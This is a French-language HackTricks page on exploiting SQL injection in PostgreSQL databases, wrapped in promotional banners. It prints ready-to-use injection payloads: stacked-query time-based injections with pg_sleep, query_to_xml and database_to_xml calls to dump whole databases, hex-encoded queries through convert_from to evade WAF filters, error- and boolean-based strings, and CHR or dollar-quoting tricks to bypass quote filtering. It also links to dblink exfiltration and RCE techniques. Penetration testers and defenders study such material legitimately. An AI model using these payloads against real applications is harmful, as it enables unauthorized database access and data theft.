.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
Injection PostgreSQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Astuce de prime de bug : inscrivez-vous à Intigriti, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !
{% embed url="https://go.intigriti.com/hacktricks" %}
Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données PostgreSQL et à compléter les astuces que vous pouvez trouver sur https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interaction réseau - Élévation de privilèges, scanner de port, divulgation de la réponse de défi NTLM et exfiltration
dblink
est un module PostgreSQL qui offre plusieurs options intéressantes du point de vue de l'attaquant. Il peut être utilisé pour se connecter à d'autres instances PostgreSQL ou effectuer des connexions TCP.
Ces fonctionnalités, ainsi que la fonctionnalité COPY FROM
, peuvent être utilisées pour élever les privilèges, effectuer un scan de port ou récupérer des réponses de défi NTLM.
Vous pouvez lire ici comment effectuer ces attaques.
Exemple d'exfiltration utilisant dblink et des objets volumineux
Vous pouvez lire cet exemple pour voir un exemple de CTF de comment charger des données dans des objets volumineux et ensuite exfiltrer le contenu des objets volumineux dans le nom d'utilisateur de la fonction dblink_connect
.
Attaques PostgreSQL : Lecture/écriture, RCE, élévation de privilèges
Découvrez comment compromettre l'hôte et élever les privilèges depuis PostgreSQL dans :
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Contournement de WAF
Fonctions de chaîne PostgreSQL
La manipulation de chaînes peut vous aider à contourner les WAF ou autres restrictions.
Dans cette page , vous pouvez trouver quelques fonctions de chaînes utiles.
Requêtes empilées
N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications généreront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection de temps :
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Astuces XML
query_to_xml
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez décharger beaucoup de données en une seule ligne :
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Cette fonction permet de sauvegarder l'intégralité de la base de données au format XML en une seule ligne (faites attention si la base de données est très volumineuse, car cela pourrait entraîner une attaque par déni de service (DoS) ou affecter votre propre client) :
SELECT database_to_xml(true,true,'');
Chaînes en hexadécimal
Si vous pouvez exécuter des requêtes en les passant à l'intérieur d'une chaîne (par exemple en utilisant la fonction query_to_xml
), vous pouvez utiliser la fonction convert_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Guillemets interdits
Si vous ne pouvez pas utiliser de guillemets pour votre payload, vous pouvez contourner cette restriction avec CHR
pour les clauses de base (la concaténation de caractères ne fonctionne que pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Elle ne fonctionne pas pour toutes les instructions SQL) :
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ou avec $
. Ces requêtes renvoient les mêmes résultats :
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Astuce de prime de bug: inscrivez-vous à Intigriti, une plateforme premium de prime de bug créée par des hackers, pour les hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.